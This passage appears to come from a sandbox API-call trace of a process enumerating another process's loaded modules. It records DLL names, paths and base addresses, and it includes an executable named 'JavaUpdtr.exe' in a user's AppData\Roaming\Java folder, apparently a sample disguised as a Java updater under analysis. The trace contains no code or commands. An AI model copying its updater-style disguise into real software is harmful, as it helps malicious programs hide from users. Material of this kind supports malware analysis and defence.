lpBaseName="VERSION.dll") returned 0xb [0116.657] GetLastError () returned 0x1e7 [0116.657] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75430000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0116.657] GetLastError () returned 0x1e7 [0116.657] GetModuleInformation (in: hProcess=0x20c, hModule=0x749d0000, lpmodinfo=0x27d9f58, cb=0xc | out: lpmodinfo=0x27d9f58*(lpBaseOfDll=0x749d0000, SizeOfImage=0x5ab000, EntryPoint=0x74a23dc0)) returned 1 [0116.657] GetLastError () returned 0x1e7 [0116.657] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x749d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorwks.dll") returned 0xc [0116.658] GetLastError () returned 0x1e7 [0116.658] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x749d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorwks.dll")) returned 0x3a [0116.658] GetLastError () returned 0x1e7 [0116.658] GetModuleInformation (in: hProcess=0x20c, hModule=0x75390000, lpmodinfo=0x27db090, cb=0xc | out: lpmodinfo=0x27db090*(lpBaseOfDll=0x75390000, SizeOfImage=0x9b000, EntryPoint=0x7539232b)) returned 1 [0116.659] GetLastError () returned 0x1e7 [0116.659] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75390000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSVCR80.dll") returned 0xb [0116.659] GetLastError () returned 0x1e7 [0116.659] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75390000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\MSVCR80.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6195_none_d09154e044272b9a\\msvcr80.dll")) returned 0x6a [0116.660] GetLastError () returned 0x1e7 [0116.660] GetModuleInformation (in: hProcess=0x20c, hModule=0x75f40000, lpmodinfo=0x27dc224, cb=0xc | out: lpmodinfo=0x27dc224*(lpBaseOfDll=0x75f40000, SizeOfImage=0xc4a000, EntryPoint=0x75fc1601)) returned 1 [0116.660] GetLastError () returned 0x1e7 [0116.660] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75f40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0116.661] GetLastError () returned 0x1e7 [0116.661] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75f40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0116.661] GetLastError () returned 0x1e7 [0116.661] GetModuleInformation (in: hProcess=0x20c, hModule=0x75770000, lpmodinfo=0x27dd320, cb=0xc | out: lpmodinfo=0x27dd320*(lpBaseOfDll=0x75770000, SizeOfImage=0x15c000, EntryPoint=0x757bba3d)) returned 1 [0116.662] GetLastError () returned 0x1e7 [0116.662] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75770000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0116.662] GetLastError () returned 0x1e7 [0116.662] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75770000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0116.662] GetLastError () returned 0x1e7 [0116.663] GetModuleInformation (in: hProcess=0x20c, hModule=0x75290000, lpmodinfo=0x27de414, cb=0xc | out: lpmodinfo=0x27de414*(lpBaseOfDll=0x75290000, SizeOfImage=0xb000, EntryPoint=0x75291992)) returned 1 [0116.663] GetLastError () returned 0x1e7 [0116.663] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75290000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="profapi.dll") returned 0xb [0116.663] GetLastError () returned 0x1e7 [0116.663] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75290000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")) returned 0x1f [0116.664] GetLastError () returned 0x1e7 [0116.664] GetModuleInformation (in: hProcess=0x20c, hModule=0x72ac0000, lpmodinfo=0x27df510, cb=0xc | out: lpmodinfo=0x27df510*(lpBaseOfDll=0x72ac0000, SizeOfImage=0xaf8000, EntryPoint=0x0)) returned 1 [0116.664] GetLastError () returned 0x1e7 [0116.664] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0116.665] GetLastError () returned 0x1e7 [0116.665] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\mscorlib\\62a0b3e4b40ec0e8c5cfaa0c8848e64a\\mscorlib.ni.dll")) returned 0x68 [0116.665] GetLastError () returned 0x1e7 [0116.665] GetModuleInformation (in: hProcess=0x20c, hModule=0x75440000, lpmodinfo=0x27e06a8, cb=0xc | out: lpmodinfo=0x27e06a8*(lpBaseOfDll=0x75440000, SizeOfImage=0x80000, EntryPoint=0x754537c9)) returned 1 [0116.666] GetLastError () returned 0x1e7 [0116.666] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75440000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0116.666] GetLastError () returned 0x1e7 [0116.667] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75440000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0116.667] GetLastError () returned 0x1e7 [0116.667] GetModuleInformation (in: hProcess=0x20c, hModule=0x75230000, lpmodinfo=0x27e17a4, cb=0xc | out: lpmodinfo=0x27e17a4*(lpBaseOfDll=0x75230000, SizeOfImage=0x5b000, EntryPoint=0x75274d48)) returned 1 [0116.668] GetLastError () returned 0x1e7 [0116.668] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75230000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscorjit.dll") returned 0xc [0116.668] GetLastError () returned 0x1e7 [0116.668] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75230000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v2.0.50727\\mscorjit.dll")) returned 0x3a [0116.669] GetLastError () returned 0x1e7 [0116.669] GetModuleInformation (in: hProcess=0x20c, hModule=0x72320000, lpmodinfo=0x27e28dc, cb=0xc | out: lpmodinfo=0x27e28dc*(lpBaseOfDll=0x72320000, SizeOfImage=0x79c000, EntryPoint=0x0)) returned 1 [0116.669] GetLastError () returned 0x1e7 [0116.669] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x72320000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0116.670] GetLastError () returned 0x1e7 [0116.670] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x72320000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System\\9e0a3b9b9f457233a335d7fba8f95419\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system\\9e0a3b9b9f457233a335d7fba8f95419\\system.ni.dll")) returned 0x64 [0116.670] GetLastError () returned 0x1e7 [0116.670] GetModuleInformation (in: hProcess=0x20c, hModule=0x750a0000, lpmodinfo=0x27e3a68, cb=0xc | out: lpmodinfo=0x27e3a68*(lpBaseOfDll=0x750a0000, SizeOfImage=0x188000, EntryPoint=0x0)) returned 1 [0116.671] GetLastError () returned 0x1e7 [0116.671] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x750a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0116.671] GetLastError () returned 0x1e7 [0116.671] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x750a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.drawing\\dbfe8642a8ed7b2b103ad28e0c96418a\\system.drawing.ni.dll")) returned 0x74 [0116.672] GetLastError () returned 0x1e7 [0116.672] GetModuleInformation (in: hProcess=0x20c, hModule=0x74830000, lpmodinfo=0x27e4c24, cb=0xc | out: lpmodinfo=0x27e4c24*(lpBaseOfDll=0x74830000, SizeOfImage=0x19b000, EntryPoint=0x0)) returned 1 [0116.672] GetLastError () returned 0x1e7 [0116.672] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74830000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0116.673] GetLastError () returned 0x1e7 [0116.673] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74830000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualBas#\\08d608378aa405adc844f3cf36974b8c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualbas#\\08d608378aa405adc844f3cf36974b8c\\microsoft.visualbasic.ni.dll")) returned 0x81 [0116.674] GetLastError () returned 0x1e7 [0116.674] GetModuleInformation (in: hProcess=0x20c, hModule=0x746a0000, lpmodinfo=0x27e5e08, cb=0xc | out: lpmodinfo=0x27e5e08*(lpBaseOfDll=0x746a0000, SizeOfImage=0x190000, EntryPoint=0x7473d026)) returned 1 [0116.674] GetLastError () returned 0x1e7 [0116.674] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x746a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0116.675] GetLastError () returned 0x1e7 [0116.675] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x746a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0116.675] GetLastError () returned 0x1e7 [0116.675] GetModuleInformation (in: hProcess=0x20c, hModule=0x74fa0000, lpmodinfo=0x27e6fa8, cb=0xc | out: lpmodinfo=0x27e6fa8*(lpBaseOfDll=0x74fa0000, SizeOfImage=0xfb000, EntryPoint=0x74fb17e1)) returned 1 [0116.676] GetLastError () returned 0x1e7 [0116.676] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x74fa0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0116.677] GetLastError () returned 0x1e7 [0116.677] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x74fa0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0116.677] GetLastError () returned 0x1e7 [0116.677] GetModuleInformation (in: hProcess=0x20c, hModule=0x75700000, lpmodinfo=0x27e81cc, cb=0xc | out: lpmodinfo=0x27e81cc*(lpBaseOfDll=0x75700000, SizeOfImage=0x5000, EntryPoint=0x75701438)) returned 1 [0116.678] GetLastError () returned 0x1e7 [0116.678] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75700000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0116.678] GetLastError () returned 0x1e7 [0116.678] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75700000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0116.679] GetLastError () returned 0x1e7 [0116.687] EnumProcessModules (in: hProcess=0x20c, lphModule=0x26d60a0, cb=0x100, lpcbNeeded=0x31c9a8 | out: lphModule=0x26d60a0, lpcbNeeded=0x31c9a8) returned 1 [0116.688] GetLastError () returned 0x1e7 [0116.688] GetModuleInformation (in: hProcess=0x20c, hModule=0xd40000, lpmodinfo=0x26d61e0, cb=0xc | out: lpmodinfo=0x26d61e0*(lpBaseOfDll=0xd40000, SizeOfImage=0xb0000, EntryPoint=0xd91d7e)) returned 1 [0116.688] GetLastError () returned 0x1e7 [0116.688] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0xd40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="JavaUpdtr.exe") returned 0xd [0116.688] GetLastError () returned 0x1e7 [0116.688] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0xd40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe")) returned 0x40 [0116.688] GetLastError () returned 0x1e7 [0116.688] GetModuleInformation (in: hProcess=0x20c, hModule=0x77ac0000, lpmodinfo=0x26d7344, cb=0xc | out: lpmodinfo=0x26d7344*(lpBaseOfDll=0x77ac0000, SizeOfImage=0x180000, EntryPoint=0x0)) returned 1 [0116.689] GetLastError () returned 0x1e7 [0116.689] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77ac0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0116.689] GetLastError () returned 0x1e7 [0116.689] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77ac0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")) returned 0x1d [0116.689] GetLastError () returned 0x1e7 [0116.689] GetModuleInformation (in: hProcess=0x20c, hModule=0x73cc0000, lpmodinfo=0x26d8438, cb=0xc | out: lpmodinfo=0x26d8438*(lpBaseOfDll=0x73cc0000, SizeOfImage=0x4a000, EntryPoint=0x73cc2e54)) returned 1 [0116.689] GetLastError () returned 0x1e7 [0116.689] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x73cc0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0116.689] GetLastError () returned 0x1e7 [0116.689] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x73cc0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0116.689] GetLastError () returned 0x1e7 [0116.690] GetModuleInformation (in: hProcess=0x20c, hModule=0x75930000, lpmodinfo=0x26d9534, cb=0xc | out: lpmodinfo=0x26d9534*(lpBaseOfDll=0x75930000, SizeOfImage=0x110000, EntryPoint=0x759432d3)) returned 1 [0116.690] GetLastError () returned 0x1e7 [0116.690] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75930000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0116.690] GetLastError () returned 0x1e7 [0116.690] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75930000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNEL32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")) returned 0x20 [0116.690] GetLastError () returned 0x1e7 [0116.690] GetModuleInformation (in: hProcess=0x20c, hModule=0x77670000, lpmodinfo=0x26da638, cb=0xc | out: lpmodinfo=0x26da638*(lpBaseOfDll=0x77670000, SizeOfImage=0x46000, EntryPoint=0x77677478)) returned 1 [0116.690] GetLastError () returned 0x1e7 [0116.690] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x77670000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0116.690] GetLastError () returned 0x1e7 [0116.691] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x77670000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\KERNELBASE.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")) returned 0x22 [0116.691] GetLastError () returned 0x1e7 [0116.691] GetModuleInformation (in: hProcess=0x20c, hModule=0x75db0000, lpmodinfo=0x26db774, cb=0xc | out: lpmodinfo=0x26db774*(lpBaseOfDll=0x75db0000, SizeOfImage=0xa0000, EntryPoint=0x75dc49e5)) returned 1 [0116.691] GetLastError () returned 0x1e7 [0116.691] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75db0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0116.691] GetLastError () returned 0x1e7 [0116.691] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75db0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ADVAPI32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")) returned 0x20 [0116.691] GetLastError () returned 0x1e7 [0116.691] GetModuleInformation (in: hProcess=0x20c, hModule=0x76d40000, lpmodinfo=0x26dc878, cb=0xc | out: lpmodinfo=0x26dc878*(lpBaseOfDll=0x76d40000, SizeOfImage=0xac000, EntryPoint=0x76d4a472)) returned 1 [0116.692] GetLastError () returned 0x1e7 [0116.692] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76d40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0116.692] GetLastError () returned 0x1e7 [0116.692] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76d40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")) returned 0x1e [0116.692] GetLastError () returned 0x1e7 [0116.692] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ec0000, lpmodinfo=0x26dd974, cb=0xc | out: lpmodinfo=0x26dd974*(lpBaseOfDll=0x76ec0000, SizeOfImage=0x19000, EntryPoint=0x76ec4975)) returned 1 [0116.692] GetLastError () returned 0x1e7 [0116.692] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ec0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0116.693] GetLastError () returned 0x1e7 [0116.693] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ec0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")) returned 0x1f [0116.693] GetLastError () returned 0x1e7 [0116.693] GetModuleInformation (in: hProcess=0x20c, hModule=0x75e50000, lpmodinfo=0x26dea70, cb=0xc | out: lpmodinfo=0x26dea70*(lpBaseOfDll=0x75e50000, SizeOfImage=0xf0000, EntryPoint=0x75e60569)) returned 1 [0116.693] GetLastError () returned 0x1e7 [0116.693] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75e50000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0116.693] GetLastError () returned 0x1e7 [0116.693] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75e50000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\RPCRT4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")) returned 0x1e [0116.694] GetLastError () returned 0x1e7 [0116.694] GetModuleInformation (in: hProcess=0x20c, hModule=0x75620000, lpmodinfo=0x26dfbbc, cb=0xc | out: lpmodinfo=0x26dfbbc*(lpBaseOfDll=0x75620000, SizeOfImage=0x60000, EntryPoint=0x7563a3b3)) returned 1 [0116.694] GetLastError () returned 0x1e7 [0116.694] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75620000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0116.694] GetLastError () returned 0x1e7 [0116.694] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75620000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SspiCli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")) returned 0x1f [0116.694] GetLastError () returned 0x1e7 [0116.694] GetModuleInformation (in: hProcess=0x20c, hModule=0x75610000, lpmodinfo=0x26e0cb8, cb=0xc | out: lpmodinfo=0x26e0cb8*(lpBaseOfDll=0x75610000, SizeOfImage=0xc000, EntryPoint=0x756110e1)) returned 1 [0116.695] GetLastError () returned 0x1e7 [0116.695] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75610000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0116.695] GetLastError () returned 0x1e7 [0116.695] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75610000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CRYPTBASE.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")) returned 0x21 [0116.695] GetLastError () returned 0x1e7 [0116.695] GetModuleInformation (in: hProcess=0x20c, hModule=0x737a0000, lpmodinfo=0x26e1dbc, cb=0xc | out: lpmodinfo=0x26e1dbc*(lpBaseOfDll=0x737a0000, SizeOfImage=0x78000, EntryPoint=0x737af7ba)) returned 1 [0116.696] GetLastError () returned 0x1e7 [0116.696] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x737a0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0116.696] GetLastError () returned 0x1e7 [0116.696] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x737a0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0116.696] GetLastError () returned 0x1e7 [0116.696] GetModuleInformation (in: hProcess=0x20c, hModule=0x75ba0000, lpmodinfo=0x26e2ef4, cb=0xc | out: lpmodinfo=0x26e2ef4*(lpBaseOfDll=0x75ba0000, SizeOfImage=0x57000, EntryPoint=0x75bb9ba6)) returned 1 [0116.697] GetLastError () returned 0x1e7 [0116.697] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75ba0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0116.697] GetLastError () returned 0x1e7 [0116.697] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75ba0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\SHLWAPI.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")) returned 0x1f [0116.697] GetLastError () returned 0x1e7 [0116.697] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c40000, lpmodinfo=0x26e3ff0, cb=0xc | out: lpmodinfo=0x26e3ff0*(lpBaseOfDll=0x75c40000, SizeOfImage=0x90000, EntryPoint=0x75c56343)) returned 1 [0116.698] GetLastError () returned 0x1e7 [0116.698] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0116.698] GetLastError () returned 0x1e7 [0116.698] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0116.698] GetLastError () returned 0x1e7 [0116.698] GetModuleInformation (in: hProcess=0x20c, hModule=0x75a40000, lpmodinfo=0x26e50e4, cb=0xc | out: lpmodinfo=0x26e50e4*(lpBaseOfDll=0x75a40000, SizeOfImage=0x100000, EntryPoint=0x75a5b6ed)) returned 1 [0116.699] GetLastError () returned 0x1e7 [0116.699] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75a40000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0116.699] GetLastError () returned 0x1e7 [0116.699] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75a40000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0116.699] GetLastError () returned 0x1e7 [0116.699] GetModuleInformation (in: hProcess=0x20c, hModule=0x75c00000, lpmodinfo=0x26e61e0, cb=0xc | out: lpmodinfo=0x26e61e0*(lpBaseOfDll=0x75c00000, SizeOfImage=0xa000, EntryPoint=0x75c036a0)) returned 1 [0116.700] GetLastError () returned 0x1e7 [0116.700] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x75c00000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0116.700] GetLastError () returned 0x1e7 [0116.700] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x75c00000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0116.700] GetLastError () returned 0x1e7 [0116.701] GetModuleInformation (in: hProcess=0x20c, hModule=0x76ee0000, lpmodinfo=0x26e72cc, cb=0xc | out: lpmodinfo=0x26e72cc*(lpBaseOfDll=0x76ee0000, SizeOfImage=0x9d000, EntryPoint=0x76f13fd7)) returned 1 [0116.701] GetLastError () returned 0x1e7 [0116.701] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76ee0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0116.701] GetLastError () returned 0x1e7 [0116.701] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76ee0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0116.702] GetLastError () returned 0x1e7 [0116.702] GetModuleInformation (in: hProcess=0x20c, hModule=0x758d0000, lpmodinfo=0x26e8450, cb=0xc | out: lpmodinfo=0x26e8450*(lpBaseOfDll=0x758d0000, SizeOfImage=0x60000, EntryPoint=0x758e158f)) returned 1 [0116.702] GetLastError () returned 0x1e7 [0116.702] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x758d0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0116.702] GetLastError () returned 0x1e7 [0116.702] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x758d0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0116.703] GetLastError () returned 0x1e7 [0116.703] GetModuleInformation (in: hProcess=0x20c, hModule=0x76df0000, lpmodinfo=0x26e9544, cb=0xc | out: lpmodinfo=0x26e9544*(lpBaseOfDll=0x76df0000, SizeOfImage=0xcc000, EntryPoint=0x76df168b)) returned 1 [0116.703] GetLastError () returned 0x1e7 [0116.703] GetModuleBaseNameW (in: hProcess=0x20c, hModule=0x76df0000, lpBaseName=0x7dcbd0, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0116.704] GetLastError () returned 0x1e7 [0116.704] GetModuleFileNameExW (in: hProcess=0x20c, hModule=0x76df0000, lpFilename=0x7dcbd0, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0116.704] GetLastError () returned 0x1e7 [0116.704] GetModuleInformation (in: hProcess=0x20c, hModule=0x75430000, lpmodinfo=0x26ea638, cb=0xc | out: lpmodinfo=0x26ea638*(lpBaseOfDll=0x75430000, SizeOfImage=0x9000, EntryPoint=0x75431220)) returned 1 [0116.704] GetLastError () returned 0x1e7 [0116.704] GetModuleBaseNameW (in: hProcess=0x20c, 